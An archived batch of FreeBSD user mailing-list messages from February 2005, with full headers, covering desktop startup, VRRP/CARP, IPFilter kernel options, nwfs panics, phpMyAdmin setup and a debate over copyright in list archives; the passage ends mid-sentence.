(envelope-from algould@datawok.com) Received: from [206.255.31.21] (helo=[192.168.63.10]) by smtpauth09.mail.atl.earthlink.net with asmtp (TLSv1:RC4-MD5:128) (Exim 4.34) id 1CyAHy-0000fA-9U; Mon, 07 Feb 2005 09:54:58 -0500 From: "Andrew L. Gould" To: freebsd-questions@freebsd.org Date: Mon, 7 Feb 2005 08:55:20 -0600 User-Agent: KMail/1.6.2 References: <1107786836.3586.13.camel@localhost.localdomain> In-Reply-To: <1107786836.3586.13.camel@localhost.localdomain> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <200502070855.20912.algould@datawok.com> X-ELNK-Trace: ee791d459e3d6817d780f4a490ca69563f9fea00a6dd62bc2d4658a5c1b8f47a14740dc4a2ee3950350badd9bab72f9c350badd9bab72f9c350badd9bab72f9c X-Originating-IP: 206.255.31.21 cc: Marshall Kiam-Laine Subject: Re: startup X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 14:54:59 -0000 On Monday 07 February 2005 08:33 am, Marshall Kiam-Laine wrote: > ***hi all, rookie fiddler calling :) > > just loaded fbsd5.3amd64 but it stopped at the login prompt. > > (1) $>startkde didnt work, is that the right command please ? > > (2) what command to start gnome ? > > (3) how to tell it to start one of the GUI automatically ? > > many thanks, kamanism@ntlworld.com > The documentation at the link below should help: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/x-config.html Best of luck, Andrew Gould From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 15:44:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B70F816A4CE for ; Mon, 7 Feb 2005 15:44:17 +0000 (GMT) Received: from male.aldigital.co.uk (male.thebunker.net [213.129.64.13]) by mx1.FreeBSD.org (Postfix) with ESMTP id F21EA43D46 for ; Mon, 7 Feb 2005 15:44:16 +0000 (GMT) (envelope-from matthew@thebunker.net) Received: from gravitas.thebunker.net (gateway.ash.thebunker.net [213.129.64.4]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by male.aldigital.co.uk (Postfix) with ESMTP id B22CB9765E; Mon, 7 Feb 2005 15:44:14 +0000 (GMT) Received: from gravitas.thebunker.net (localhost [127.0.0.1]) j17Fi9Ek094869; Mon, 7 Feb 2005 15:44:09 GMT (envelope-from matthew@gravitas.thebunker.net) Received: (from matthew@localhost) by gravitas.thebunker.net (8.13.1/8.13.1/Submit) id j17Fi8M7094868; Mon, 7 Feb 2005 15:44:08 GMT (envelope-from matthew) Date: Mon, 7 Feb 2005 15:44:08 +0000 From: Matthew Seaman To: Nils Vogels Message-ID: <20050207154408.GA94512@gravitas.thebunker.net> Mail-Followup-To: Matthew Seaman , Nils Vogels , freebsd-questions@freebsd.org References: <000901c50b70$2b15f870$0a01a8c0@ops.cenergynetworks.com> <4204A601.7090504@yuckfou.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="a8Wt8u1KmwUX3Y2C" Content-Disposition: inline In-Reply-To: <4204A601.7090504@yuckfou.org> User-Agent: Mutt/1.5.7i cc: freebsd-questions@freebsd.org Subject: Re: VRRP X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 15:44:17 -0000 --a8Wt8u1KmwUX3Y2C Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Feb 05, 2005 at 11:54:57AM +0100, Nils Vogels wrote: > Chris Knipe wrote: >=20 > | Hi, > | > | Does FreeBSD have any support, or does anyone know of any open > | source applications that can be used to get some form of VRRP into > | FreeBSD 4.11 / 5.x? >=20 > A quick make search learns: >=20 > | cd /usr/ports > | make search key=3Dvrrp > Port: freevrrpd-0.8.7_1 > Path: /usr/ports/net/freevrrpd > Info: This a VRRP RFC2338 Compliant implementation under FreeBSD > Maint: spe@b0l.org > B-deps: > R-deps: >=20 If you're running 5.x-STABLE, then OpenBSD's CARP has been ported. See: http://www.freebsd.org/cgi/man.cgi?query=3Dpfsync&apropos=3D0&sektion= =3D0&manpath=3DFreeBSD+6.0-current&format=3Dhtml (Yes, I know that man page is from 6-CURRENT. They don't seem to have 5-STABLE manpages up on the site right now.) Cheers, Matthew --=20 Dr Matthew J Seaman MA, D.Phil. 8 Dane Court Manor School Rd PGP: http://www.infracaninophile.co.uk/pgpkey Tilmanstone Tel: +44 1304 617253 Kent, CT14 0JL UK --a8Wt8u1KmwUX3Y2C Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iQCVAwUBQgeMyJr7OpndfbmCAQJNigP/blP142PjARxX/pMvPLHSEUfvcwL/0+aK aM0daU9wtbDfTM59HiIO0aWcLdWRdFiS5Yw96BQPo42ow4Lxvcm7t9bTS86zoyKU etYHkKnm6AFleHfPtwx3liYRhHJqzrmIgrlyONHS437GlpGe3SPZ/FMx/ypt/cQD mrOFsuZsDt8= =WKDn -----END PGP SIGNATURE----- --a8Wt8u1KmwUX3Y2C-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:01:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BB24216A4CE for ; Mon, 7 Feb 2005 16:01:39 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7046643D46 for ; Mon, 7 Feb 2005 16:01:39 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 252831C0009A for ; Mon, 7 Feb 2005 17:01:38 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1109.wanadoo.fr (SMTP Server) with ESMTP id 04C911C000BE for ; Mon, 7 Feb 2005 17:01:37 +0100 (CET) X-ME-UUID: 20050207160138197.04C911C000BE@mwinf1109.wanadoo.fr Date: Mon, 7 Feb 2005 17:01:37 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1008235984.20050207170137@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050207083428.GA22714@logik.ath.cx> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> <20050207083428.GA22714@logik.ath.cx> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:01:39 -0000 markzero writes: m> Actually, I've found that five machines, each with two disks, onboard m> graphics and sound, an average 700mhz P3 with a 250w power supply m> haven't really made a dent on my electricity bill. My bills have been unusually high lately and it prompted me to do some calculation to see if the computers were responsible for the bills. I have three computers running continuously, but the calculations showed that they still don't make much of a dent in my electricity bill, even in my small apartment. The total is about 500 kwh per month, out of some 1400 kwh. I don't know where the rest is going, but I suspect that an aging electric water heater is consuming more than all the computer equipment combined. There's no other explanation (I run A/C in summer which ups the bill considerably, but that doesn't apply at this time of year). Since the computers are necessary for both work and play, I consider running them to be electricity wisely used. I do turn the monitors off when I'm not home, but since they are all flat panels now, that represents only a trivial amount of electricity. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:05:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C24BA16A4CE for ; Mon, 7 Feb 2005 16:05:20 +0000 (GMT) Received: from smtp2.server.rpi.edu (smtp2.server.rpi.edu [128.113.2.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id E4CD143D1F for ; Mon, 7 Feb 2005 16:05:19 +0000 (GMT) (envelope-from laplante@cat.rpi.edu) Received: from CYBERDOGT42 (vpnwl-228-194.net.rpi.edu [128.113.228.194]) by smtp2.server.rpi.edu (8.13.0/8.13.0) with ESMTP id j17G5Hcp025283; Mon, 7 Feb 2005 11:05:17 -0500 Message-Id: <200502071605.j17G5Hcp025283@smtp2.server.rpi.edu> From: "Matt LaPlante" To: "'Loren M. Lang'" , "'Michael C. Shultz'" Date: Mon, 7 Feb 2005 11:05:15 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Thread-Index: AcUIVCkdDynV1UFTQ+yRd+oMGD3kyQE2oFsw In-Reply-To: <20050201114957.GJ8619@alzatex.com> X-CanItPRO-Stream: default X-RPI-SA-Score: undef - spam-scanning disabled X-Scanned-By: CanIt (www . canit . ca) cc: freebsd-questions@freebsd.org Subject: RE: Cleaning Out Ports? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:05:20 -0000 That's correct; this type of functionality is exactly what I was searching for. > -----Original Message----- > From: Loren M. Lang [mailto:lorenl@alzatex.com] > Sent: Tuesday, February 01, 2005 6:50 AM > To: Michael C. Shultz > Cc: freebsd-questions@freebsd.org; Matt LaPlante > Subject: Re: Cleaning Out Ports? > > > There's still one missing part to it that gentoo's portage has. In > addition to the standard database of installed packages, emerge keeps > track > of every single package that you explicitly installed in a file called > world. Upgrades read this file and update all the packages listed, > including there dependencies first. Now if a package that was installed > to satisfy a dependency, but not explicitly installed is now longer > needed, it will stay on the system until the next time emerge --depclean > is run. --depclean tells emerge to remove any packages that are not in > the world file and are not needed to satify dependencies for packages in > the world file, either directly or indirectly. I think this is the > behavior that the original poster was asking for. AFAIK, this is not > yet possible in FreeBSD, but it should be a trivial matter to add > something like a world file to portupgrade. Maybe, if I have time this > week I could work on a patch... > From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:07:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6045516A4CE for ; Mon, 7 Feb 2005 16:07:59 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id D5F4843D1F for ; Mon, 7 Feb 2005 16:07:58 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id F2B861C00045 for ; Mon, 7 Feb 2005 17:07:57 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id BA9981C00049 for ; Mon, 7 Feb 2005 17:07:57 +0100 (CET) X-ME-UUID: 20050207160757764.BA9981C00049@mwinf1108.wanadoo.fr Date: Mon, 7 Feb 2005 17:07:57 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <849739867.20050207170757@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502061420.24415.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:07:59 -0000 Ted Mittelstaedt writes: TM> Clearly I think Anthony is saying in his posts to me that the TM> list managers should e-mail legal boilerplate to every subscriber TM> that they would then agree to, which would basically state that TM> the poster waives their copyrights if they post. Approximately, yes. A better agreement would be one that requires that the subscriber license his posts for archiving and public access and agree that he will not consider this an invasion of privacy. Relinquishing copyright is a huge step and it's pretty rare to ask anyone to do it. An alternative is to make the archive accessible only to current members, and to purge posts from any member who leaves the list. There's still a bit of risk in that but it eliminates most potential objections. TM> The problem I see is that doing this creates a TM> contract, which is one of the issues we are disagreeing on. A contract exists already. This just formalizes the terms. TM> It also changes the signups on the list to that of an TM> access-controlled forum which means that the owners of the forum are TM> exercising editorial control, meaning they are republishing posts to TM> the list, which means they have to obtain rights to do this from TM> each poster when that poster posts. Requiring that a person subscribe to receive messages is already access control. If you don't want any access control, you must go to an open forum format and eliminate the mailing list. Then anyone can read and anyone can post ... like USENET. TM> He is saying that since the act of signing up for the list creates a TM> contract between the list owners and the poster, the list owner TM> should issue a contract to the signupee that outlines their (lack TM> of) rights if they post. The act of doing just about anything with another person or organization often creates a contract of some kind. Making it explicit only helps to protect both parties from misunderstandings and litigation. TM> I disagree that the act of signing up for the list creates a TM> contract, since the list is publically available without signup, TM> and espically since the list can be posted to by the general TM> public without signup. It's impossible to receive the list by e-mail without signing up. A person who signs up has every reason to believe that only other people who have also signed up will receive his posts, since that's how mailing lists normally work. He also has every reason to believe that his posts will be ephemeral, existing only as e-mail messages, since again that is how mailing lists work. Archiving messages without telling subscribers about it and requiring them to agree with it only invites trouble. It should be kept in mind that when geeks meet lawyers, the geeks always lose. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:08:18 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6D37C16A4CE for ; Mon, 7 Feb 2005 16:08:18 +0000 (GMT) Received: from scorpion.eng.ufl.edu (scorpion.eng.ufl.edu [128.227.116.10]) by mx1.FreeBSD.org (Postfix) with SMTP id EEDBB43D2D for ; Mon, 7 Feb 2005 16:08:17 +0000 (GMT) (envelope-from bob89@eng.ufl.edu) Received: (qmail 23210 invoked from network); 7 Feb 2005 16:08:17 -0000 Received: from scanner.engnet.ufl.edu (HELO ?128.227.152.221?) (128.227.152.221) by scorpion.eng.ufl.edu with SMTP; 7 Feb 2005 16:08:17 -0000 Message-ID: <42079270.1000905@eng.ufl.edu> Date: Mon, 07 Feb 2005 11:08:16 -0500 From: Bob Johnson Organization: University of Florida User-Agent: Mozilla Thunderbird 1.0 (X11/20050131) X-Accept-Language: en-us, en MIME-Version: 1.0 To: questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Should nwfs and ncp* be working in 5.3R? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:08:18 -0000 I'm trying to use nwfs and the ncp- utilities and when I do I get a kernel panic (at the moment I forget which one). Should they be working in 5.3R? # kldstat Id Refs Address Size Name 1 17 0xc0400000 37ee4c kernel 2 2 0xc077f000 1c180 linux.ko 3 1 0xc079c000 2b34 if_ef.ko 4 1 0xc079f000 47dc snd_via8233.ko 5 2 0xc07a4000 1d4fc sound.ko 6 2 0xc07c2000 9c50 ncp.ko 7 3 0xc07cc000 28a4 libmchain.ko 8 1 0xc07cf000 4ad9c8 nvidia.ko 9 1 0xc0c7d000 aa3c nwfs.ko 10 14 0xc0c88000 537f0 acpi.ko 11 1 0xc2c94000 2c000 nfsclient.ko 12 1 0xc2da2000 2000 green_saver.ko # cat /boot/loader.conf agp_load="NO" if_ef_load="YES" linux_load="YES" ncp_load="YES" nvidia_load="YES" nwfs_load="YES" snd_via8233_load="YES" # ifconfig [...] bfe0f0: flags=8843 mtu 1500 ipx 80e39800.e018f3334f inet6 fe80::2e0:18ff:fef3:334f%bfe0f0 prefixlen 64 scopeid 0x9 ether 00:e0:18:f3:33:4f bfe0f1: flags=8842 mtu 1500 ether 00:e0:18:f3:33:4f bfe0f2: flags=8842 mtu 1500 ether 00:e0:18:f3:33:4f bfe0f3: flags=8842 mtu 1500 ether 00:e0:18:f3:33:4f [...] # uname -a FreeBSD scanner.engnet.ufl.edu 5.3-RELEASE FreeBSD 5.3-RELEASE #0: Wed Feb 2 15:40:14 EST 2005 x@scanner.engnet.ufl.edu:/usr/src/sys/i386/compile/BOBJ27 i386 Results don't change if I move IPX to other frame types, or to all four of them simultaneously, and similarly it doesn't seem to matter whether I have ipxrouted running or not, nor does it matter whether I boot the GENERIC kernel or my normal kernel. Thanks, - Bob From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:09:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DF9E916A4CE for ; Mon, 7 Feb 2005 16:09:07 +0000 (GMT) Received: from smartwall.thebeaconjournal.com (smartwall.thebeaconjournal.com [67.17.216.168]) by mx1.FreeBSD.org (Postfix) with ESMTP id 432E943D2F for ; Mon, 7 Feb 2005 16:09:07 +0000 (GMT) (envelope-from jim0266@yahoo.com) Received: from bea-trend.thebeaconjournal.com (bea-trend [10.213.0.19]) j17Ff82N009124 for ; Mon, 7 Feb 2005 10:41:09 -0500 (EST) Received: from bea-mx.thebeaconjournal.com ([10.213.0.2]) by Suite; Mon, 07 Feb 2005 11:24:21 -0500 Received: from spike ([10.213.8.154]) by bea-mx.thebeaconjournal.com (Netscape Messaging Server 4.15) with ESMTP id IBJUIS00.CDG; Mon, 7 Feb 2005 11:16:04 -0500 Received: from [192.168.0.3] (jim [192.168.0.3])by spike (Postfix) with ESMTP id 32DF71F37;Mon, 7 Feb 2005 11:08:57 -0500 (EST) Mime-Version: 1.0 Message-Id: In-Reply-To: <20050207071352.GA4807@xor.obsecurity.org> References: <20050207071352.GA4807@xor. obsecurity.org> Date: Mon, 7 Feb 2005 11:08:54 -0500 To: "Kris Kennaway" From: Jim Arnold Content-Type: text/plain; charset=us-ascii; format=flowed X-imss-version: 2.012 X-imss-result: Passed X-imss-scores: Clean:99.90000 C:20 M:2 S:5 R:5 X-imss-settings: Baseline:3 C:3 M:3 S:3 R:3 (0.5000 1.5000) cc: freebsd-questions@freebsd.org Subject: Re: IP Filter changes in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:09:08 -0000 >On Mon, Feb 07, 2005 at 12:24:09AM -0500, Jim Arnold wrote: >> I updated my firewall that is using IPF. I went from FreeBSD 4.7 >> stable to 4.11 stable. When using 4.7 stable I only had this is my >> rc.conf file: >> >> ipfilter_enable="YES" >> ipfilter_program="/sbin/ipf" >> ipfilter_rules="/etc/ipf.conf" >> ipfilter_flags="" >> >> When I went to 4.11 stable I had to uncomment these options in my >> kernel config file: >> >> options IPFILTER >> options IPFILTER_LOG >> >> I'm just curious why it worked without the above options in my kernel >> for 4.7 and I had to have them in 4.11? > >If you don't have it in your kernel, the module will be loaded at boot >time if it's available. If you don't have the module either, you >can't use ipfilter. I must have been using the module with 4.7 stable since I did not have that in the kernel I was running with 4.7. After I upgraded to 4.11 and IPF was not working I edited my kernel config file to uncomment the lines for IPF and then compiled the new kernel. I still don't have an answer why this happened. Was the module taken out of 4.11 or an earlier version on FreeBSD? I'm just curious as a learning experience what went on in my situation. Thanks, Jim From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:10:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B291116A4D3 for ; Mon, 7 Feb 2005 16:10:23 +0000 (GMT) Received: from thingy.apana.org.au (thingy.apana.org.au [203.12.237.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7B4C943D58 for ; Mon, 7 Feb 2005 16:10:21 +0000 (GMT) (envelope-from fun@thingy.apana.org.au) Received: from fun by thingy.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1CyBSq-0002XI-00 for ; Tue, 08 Feb 2005 03:10:16 +1100 Date: Tue, 8 Feb 2005 03:10:15 +1100 To: freebsd-questions@freebsd.org Message-ID: <20050207161015.GH21722@thingy.apana.org.au> References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <849739867.20050207170757@wanadoo.fr> User-Agent: Mutt/1.5.6+20040907i From: David Gerard Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:10:24 -0000 Anthony Atkielski (atkielski.anthony@wanadoo.fr) [050208 03:08]: > An alternative is to make the archive accessible only to current > members, and to purge posts from any member who leaves the list. > There's still a bit of risk in that but it eliminates most potential > objections. That would sorta suck. I know I write my questions and answers with a view to them being searchable on the web maybe months or years later, as I know how very grateful I am to those whose archived words have helped me before. So it helps the copyright situation, but breaks the usefulness of any archive. - d. From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:12:20 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B035616A4CE for ; Mon, 7 Feb 2005 16:12:20 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.205]) by mx1.FreeBSD.org (Postfix) with ESMTP id CC7D743D3F for ; Mon, 7 Feb 2005 16:12:15 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so749633wri for ; Mon, 07 Feb 2005 08:12:12 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=WMxqp9dOmXNyc3w35BX//Zrc+dhe35WlZMJbbeoKhqlZFyujrDmuOQqoUGkMNFIdkxlTYXre8T848LKjvo7kurSQO9M4j0ns2ECFdYZu3+RbltNn/y5wyoS0q9+dAt4QW5BmzwXU6iRz5Y5faXuA7DixZrYDDvujtHjQM0QCKLk= Received: by 10.54.49.12 with SMTP id w12mr186216wrw; Mon, 07 Feb 2005 08:12:11 -0800 (PST) Received: by 10.54.42.28 with HTTP; Mon, 7 Feb 2005 08:12:10 -0800 (PST) Message-ID: <810a540e0502070812378f1c54@mail.gmail.com> Date: Mon, 7 Feb 2005 09:12:10 -0700 From: Pat Maddox To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Unable to get phpMyAdmin working X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:12:20 -0000 I just installed phpMyAdmin from ports, and it didn't look like I needed to make any changes to the config file. Initially I set the authorization type as http, but when it wasn't working, I specified the root username and password and tried config instead. I get this error: phpMyAdmin was unable to read your configuration file! This might happen if php finds a parse error in it or php cannot find the file. Please call the configuration file directly using the link below and read the php error message(s) that you receive. In most cases a quote or a semicolon is missing somewhere. If you receive a blank page, everything is fine. So then I click on the link to config.inc.php like it says, and it's a blank page. So everything should be fine...but it's definitely not. Any clue what I need to do? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:13:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8718416A4CE for ; Mon, 7 Feb 2005 16:13:16 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id DF92143D2D for ; Mon, 7 Feb 2005 16:13:15 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0909.wanadoo.fr (SMTP Server) with ESMTP id 9BD142400124 for ; Mon, 7 Feb 2005 17:13:14 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0909.wanadoo.fr (SMTP Server) with ESMTP id 74AE8240013D for ; Mon, 7 Feb 2005 17:13:14 +0100 (CET) X-ME-UUID: 20050207161314478.74AE8240013D@mwinf0909.wanadoo.fr Date: Mon, 7 Feb 2005 17:13:14 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1165136567.20050207171314@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <200502061420.24415.krinklyfig@spymac.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:13:16 -0000 Eric Kjeldergaard writes: EK> Let us make an analogue betwixt our Valerie and one who submits to the EK> local newspaper. There is a roughly equal level of consent given in EK> both cases ... Not so, on two points: (1) the newspaper is obviously available to anyone (it's on the newsstands), and not only to a selected group, and (2) the messages to the newspaper appear in print and are thus much less ephemeral than e-mail messages. A person sending a letter to a newspaper knows that everyone may see it, because he saw the newspaper on the newsstands--that's how newspapers are. He also knows that his letter may be archived, because newspapers are on paper and are often kept in morgues indefinitely. These assumptions are not valid for mailing lists. It's reasonable to assume that a mailing list distributes messages only to people who are subscribed to the mailing list. It's also reasonable to assume that the messages sent to the list don't exist outside of their ephemeral distribution to the members of the list. Someone submitting to a periodical with a closed circulation (subscribers only) would be a closer analogy to the case at hand, but it still would not match the ephemeral character of a mailing list. EK> Would this not be a reasonable analogy (if we throw out the fact EK> that the newspaper companies are generally capitalist entities since EK> it has little bearing here)? No, for reasons stated above. EK> Certainly the newspaper didn't require a contract to be signed by EK> its submitters before distributing publicly their submissions. Many periodicals impose conditions on anyone writing letters to the editor, which they clearly state in the same place where they give instructions on how to send letters to the editor. EK> I don't see that a mailing list would need such a thing. The EK> submissions are given under the understanding that they shall be EK> publicly available both to subscribers and non subscribers in their EK> favourite restaurants and libraries. There is no such understanding with respect to a mailing list. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 16:16:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5593E16A4CE for ; Mon, 7 Feb 2005 16:16:24 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0F5C743D1F for ; Mon, 7 Feb 2005 16:16:24 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0907.wanadoo.fr (SMTP Server) with ESMTP id 427C31C00176 for ; Mon, 7 Feb 2005 17:16:23 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0907.wanadoo.fr (SMTP Server) with ESMTP id 232781C00159 for ; Mon, 7 Feb 2005 17:16:23 +0100 (CET) X-ME-UUID: 20050207161623144.232781C00159@mwinf0907.wanadoo.fr Date: Mon, 7 Feb 2005 17:16:22 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <399973539.20050207171622@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <20050207161015.GH21722@thingy.apana.org.au> References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> <20050207161015.GH21722@thingy.apana.org.au> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 16:16:24 -0000 David Gerard writes: DG> That would sorta suck. I know I write my questions and answers with DG> a view to them being searchable on the web maybe months or years DG> later, as I know how very grateful I am to those whose archived DG> words have helped me before. Having to search an archive of e-mail messages as a substitute for real support sucks to 